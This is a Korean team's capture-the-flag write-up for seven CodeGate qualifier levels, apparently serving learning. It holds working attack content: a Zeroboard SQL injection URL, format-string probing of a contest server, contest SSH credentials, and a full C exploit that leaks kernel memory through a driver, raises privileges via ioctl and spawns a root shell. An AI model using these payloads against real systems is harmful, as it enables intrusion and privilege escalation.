CodeGate 해킹 방어 대회 예선 문제 풀이

- Silverbug Team-

I. Level 1

1. 문제

> Question url is “http://222.239.80.207/login.php”.
>
> All challengers connect this page and try to find the password.
>
> Id is “wowhacker”

2. 문제 풀이 과정

- login.php 페이지를 통해 로그인 시도
- tomcat + php 서버 구성.
- hint.jsp 찾기.
- hint.jsp 에서 hidden 으로 숨겨져 있는 변수 값을 찾아 사용.
- hint.jsp?숨겨진변수=<script>를 통해 특정 페이지 받음.
- 데이터 내용 중 CAPICOM 를 통해 암호화된 데이터를 풀기.
- 사이트를 통해 CAPICOM 의 COM 모듈을 다운받아 DLL 을 등록.
- 기본적으로 제공되는 예제 소스를 통해, 암호화 디코딩.
- 디코딩된 패스워드를 login.php 를 통해 인증
- 인증 통과 후 나오는 패스워드를 통해 레벨 1 통과.

II. Level 2

1. 문제

> http://222.239.80.209/~chmod777/bbs/zboard.php?id=freeboard

2. 문제 풀이 과정

- 제로보드를 사용한 홈페이지(게시판) 존재.
- 운 좋게 silverbug 가 발견하여 제보한(?) sql 취약점 존재
- sql injection 취약점을 통해 공지 글 읽음.

가. 공격 코드

```
http://222.239.80.209/~chmod777/bbs/zboard.php?id=freeboard&s_que=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1, password,1,1,memo ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from zetyx_board_freeboard where no=3 --
```

나. 얻은 값

```
-66 It's tough. Move following page and download a file. DO NOT USE ANY ANTI-VIRUS SOLUTIONS AND FIREWALLS. Your anti-vireus solutions could delete the file automatically. http://222.239.80.209/~hanssomi/ wowhacker/good!! [1] *EC31F2E9C35174091F327175D23F3DC60BABFA2F 1970/01/01 1 1
```

- 위 사이트에서 얻은 윈도우 프로그램을 통해 Pack 을 풀고 분석.
  (실제 프로그램에서는 아무런 얻을 정보가 없음. 서버와의 통신을 통해 비교만 함)
- VD DA XD FF VV AD AF FX AF AA VX VD 암호화된 문자열 해독하는 문제
- 일정한 패턴을 가지고 있음. 두 자리씩 끊어지는 걸 파악. 패스워드 : 12 자리
- 겹치지 않는 변환된 문자. a => FA, t => VG 를 통해 변화하는 형태 파악.
- 문자열의 특정 자리에 따라 값이 변경되므로 같은 문자열과 한자리씩 파악.

다. 자리별 변하는 데이터 파악

```
AF AF AF FA FA FA FV AF AF GF AA FA taaaaaaaaaaa
AF AF AF FA VA FA FF AF AF AF AG FA ataaaaaaaaaa
GF AV AF FA FA FA FF AF AF AF AA FA aataaaaaaaaa
AF AF AF VA FA FG FF AF AF AF AA FA aaataaaaaaaa
AF AF AF FA FA FA FF AF GF AV AA FA aaaataaaaaa
AF AF AF FA FA FA FF GF AF AF AA VA aaaaataaaaa
AV AF AF FA FG FA FF AF AF AF AA FA aaaaaataaaa
AF AF GF FA FA FA VF AF AF AF AA FA aaaaaaataaa
AF AF AF FG FA FA FF AF AV AF AA FA aaaaaaaataa
AF AF AF FA FA FA FF AV AF AF GA FA aaaaaaaaata
AF AF AF FA FA VA FF AF AF AF AA FG aaaaaaaaaata
AF GF AV FA FA FA FF AF AF AF AA FA aaaaaaaaaaat
```

라. **[뽑아낸 값]**

```
FA : a VX : r AV : 7 FD : 0 AA : f VF : h DV : 4
AX : c FF : k XV : I AD : n DD : g
```

III. Level 3

1. 문제

```
http://222.239.80.204/notepad.exe
```

2. 문제 풀이 과정

- 분석 결과 프로그램 실행 시 파일 드랍.
  "C:\Documents and Settings\ChoJooBong\Local Settings\Temp\SVCH0ST.exe"
- 위 파일은 실제 안티 디버깅 기법이 존재하지 않음.
- 메모장과 연동.
- 내부 디버깅 결과

00407168=SVCH0ST.00407168 (ASCII "Q`TThnmBmEQqdoBq`Uhnm")
위 암호화된 문자열과 비교하므로, 위 문자열을 복호화 하면 됨.

```
ABCDEFGHIJKLMNOPQRSTUVWZYZ
BCDEFGHIJKLMNOPQRSTUVWXYZ[
================================= 테스트 1
abcdefghijklmnopqrstuvwxyz
`abcdefghijklmnopqrstuvwxy
================================= 테스트 2 결과 :: 한자리씩 밀려 있음.
Q`TThnmBmEQqdoBq`Uhnm
PaSSionAnDPrepAraTion
```

Q`TThnmBmEQqdoBq`Uhnm 한자리씩 밀려서 처리되므로 아래와 같은 정답 유출
PaSSionAnDPrepAraTion

{패스워드 입력 후 화면}

```
##################################################
############### CodeGate NotePad ###############
##################################################
Success
Auth Key : PaSSionAnDPrepAraTion
```

IV. Level 4

1. 문제

Find a coded message correspond to following plain text using this program.
fckorea-wowhacker-codegate

Please write answer in hex character. (ex: …)

http://222.239.80.204/gtrpower/

2. 문제 풀이 과정

- “fckorea-wowhacker-codegate”의 암호화된 문자열을 찾는 문제.
- 앞의 문제와 마찬가지로, 자리에 따라서 값이 달라짐.
- 하지만 앞에서부터 데이터를 맞춰 가면 앞의 입력된 문자열은 전부 변경 됨.
- 하지만 뒤에서부터 하나씩 맞춰 가면 문제없이 처리 됨.

[처리할 때의 형태]

```
./prog `perl -e 'print "A"x25,"\x4b"` | xxd
./prog `perl -e 'print "A"x24,"\x56\x4b"` | xxd
./prog `perl -e 'print "A"x23,"\x1a\x56\x4b"` | xxd
```

일단 아무 값이나 넣고 패스워드 값과의 차이를 계산하여 입력. \x80 이상 넘어가면 다시 첨으로 되돌아갔던 걸로 기억

[찾아낸 패스워드]

```
\x47\x14\x1d\x28\x55\x17\x42\x63\x5c\x1f\x5d\x19\x42\x47\x1e\x1e\x2b\x0e\x13\x52\x4a\x17\x1d\x1a\x56\x4b
```

V. Level 5

1. 문제

http://222.239.80.205/g37r007x9dk1hr/music.exe

2. 문제 풀이 과정

- mp3 프레임 단위로 처리
- 앞 프레임을 RSA 로 풀면, 다른 키가 나옴.
- 뒤 프레임을 다른 키로 복호화.

========== 이렇게 했으면 좋았을 뻔 했으나....

일단 힌트가 나옴. (HINT : 노래 제목), 풀기 전에 노래 제목들을 긁어모아 일단 무차별 대입 시도를 함.

- google 을 통해, 노래를 데이터베이스 만듦.
- 직접 제작한 프로그램을 통해, 웹사이트를 통해 MD5 로 변경하고, 얻은 MD5 를 인증창에 대입.
- 데이터베이스의 음악을 지속적으로 대입함. (대문자 -> 소문자 순으로 처리)
- 문제를 푸는 중에.. 무차별 대입이 성공하여 레벨 6 으로 넘어감.

VI. Level 6

1. 문제

리눅스 디바이스 드라이버 개발자 박찬암군은 복합적인 기능이 제공되는 드라이버를 제작하기 위한 계획을 세웠지만
밀린 프로젝트들이 너무 많은 나머지 코딩 몇시간 만에 무산되어버렸다. 그러나 어리석은 개발자는 미완성된 기능의
일부만이라도 사용하기 위하여 해당 모듈을 1억원 상당의 서버에 그대로 적용시켜버렸다.
디바이스 드라이버의 초기
소스 코드는 오픈소스 정신에 의해 공개되었는데...

222.239.80.217 : 22(ssh)
Identify - sixsense
Password - silent_night

222.239.80.218 : 22(ssh)
Identify - sixsense
Password - silent_night

Source Code = http://222.239.80.209/~hkpco/hker.c

2. 문제 풀이 과정

- 문제 풀이 서버 2 대
  (두 서버의 차이점은 "/dev/hkdev"의 MINOR 가 0(첫 번째 서버), 2(두 번째 서버)

```
switch( MINOR(inode->i_rdev) )
{
case 0: filp->f_op = &hk0_fops; break;
case 1: filp->f_op = &hk1_fops; break;
case 2: filp->f_op = &hk2_fops; break;
```

위 코드를 통해, 첫 번째 서버에서는 hk0_fops 파일 오퍼레이션을 등록하고 두 번째 서버에서는 hk2_fops 파일 오퍼레이션을 등록함. 즉 두 서버에서 사용되는 파일 오퍼레이션에 등록된 함수들은 각각 다른 함수를 호출하게 함.

소스 분석 결과 실제 프로세스의 uid를 바꿀 수 있는 방법은 ioctl을 통해 패스워드가 맞을 때 뿐이라는 사실을 알아냄. (xxx_b 관련 함수는 호출 불가.)

```
// 오직 방법은 패스워드를 알아내는 것 뿐.
char hk_password[] = "HK_KEY: linux kernel memory neak .....";
int ioctl_global_hk( struct inode *inode, struct file *filp, unsigned int cmd, unsigned long arg )
{
....
switch( cmd )
{
case AUTH_HK:
.....
/* ioctl의 인자를 통해 들어온 패스워드와 전역 변수의 패스워드와 비교 */
if( !hk_compare( plz.key , hkp +8 ) )
{
current->uid = current->euid = HK_ID;
current->gid = current->egid = HK_ID;
}
```

ioctl을 통해 디폴트 패스워드를 입력해 봤으나 처리 안됨. 즉 관리자가 패스워드 변경 후 모듈을 올렸음을 추정.

취약점 발견. (read_c는 등록된 파일 오퍼레이션에 따라 두 번째 서버에서만 가능)

```
ssize_t read_c( struct file *filp, char *buf, size_t count, loff_t *f_pos ) {
char buffer[] = "hi nice to meet you, i'm fine thank you and you?";
// read를 할 경우, 변수에 있는 데이터를 읽어 사용자 영역의 메모리에 복사
// 실제 데이터의 count는 체크를 하지 않음. 원하는 메모리만큼 읽기 가능.
copy_to_user( (void *)buf , (const void *)p , (unsigned long)count )
// 파일 오프셋 사이즈만큼 계속 증가. 즉 한번 디바이스를 오픈 후에 read함수를 계속 실행하면 계속적으로 다음 메모리 값을 읽어 올 수 있음.
*f_pos = *f_pos +count;
```

- 메모리를 계속적으로 읽어내자, 패스워드 얻을 수 있었음.
- (특별한 환경(?)에서는 보이지 않을 때도 많음. ㅠ.ㅠ)
- 얻어낸 패스워드를 ioctl 을 통해 프로세스 uid, euid 변경.
- 쉘 실행.
- 공격 코드 첨부.

VII. Level 7

1. 문제

```
Server : 222.239.80.201
Port   : 22222
```

2. 문제 풀이 과정

- 11 바이트만 입력 받음
- Format String 취약점 존재.
- 아규먼트 주위의 메모리값 읽음.
- 특정 문자열 즉 패스워드 뽑아낼 수 있음.

```
/* Code
sock = sock_connect("222.239.80.201", 22222);
sprintf(packet, "%%%d$x\n", 숫자증가);
write_sock(sock, packet, strlen(packet));
Sorry. Your value was bf895282
Sorry. Your value was a7b420
Sorry. Your value was 80483d0
Sorry. Your value was 0
Sorry. Your value was 6f4e97b8 oN
Sorry. Your value was 63614831 caH1
Sorry. Your value was 2172656b !rek
Sorry. Your value was 38250021 8% !
찾아낸 패스워드 :: No1Hacker!!
```

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include "dump.h"
#define HK_FILE "/dev/hkdev"
#define HK_MAGIC 'k'
#define AUTH_HK _IOR( HK_MAGIC , 0 , hkst )
#define TEST_CMD _IO( HK_MAGIC , 1 )
#define LAST_NR 1
typedef struct
{
char key[128];
} __attribute__ ((packed)) hkst;
int mem_cmp(char *dst, int len)
{
```

```
int i;
for(i=0; i < len; i++ ) {
if( memcmp(dst+i, "KEY", 3) == 0 ) {
printf("OK[%s]\n", dst+i);
dumpcode(dst+i, 100);
printf("Press Key.....");
fflush(stdout);
getchar();
}
if( memcmp(dst+i, "HK",2 ) == 0 ) {
printf("OK[%s]\n", dst+i);
dumpcode(dst+i, 100);
printf("Press Key.....");
fflush(stdout);
getchar();
}
}
}
int main()
{
int dev;
char buff[4000];
int ret;
int uid;
hkst plz;
uid = getuid();
// 2. 찾은 패스워드를 넣고 재 컴파일. 실행.
strcpy(plz.key,"linux kernel memory leak vulnerability is very frequent and famous.");
dev = open(HK_FILE, O_RDWR|O_NDELAY);
if( dev >= 0 ) {
printf("device open.. ok\n");
printf("%d %d\n", getuid(), geteuid());
ret = ioctl(dev, AUTH_HK, &plz);
// 1. 일단 첫 번째로 메모리를 검색하여, 패스워드를 찾아냄.
while(1) { // 메모리 찾을 때만 사용 했음..
ret = read(dev, buff, 3990);
mem_cmp(buff,ret);
printf("RET : %d\n", ret);
dumpcode(buff, ret);
}
printf("%d %d\n", getuid(), geteuid());
if( geteuid() != uid ) {
printf("bing go!![%s]\n", data);
setreuid(getuid(),geteuid());
setregid(getuid(),getguid());
system("/bin/sh");
exit(0);
}
memset(data, 0x00, 1024);
}
}
```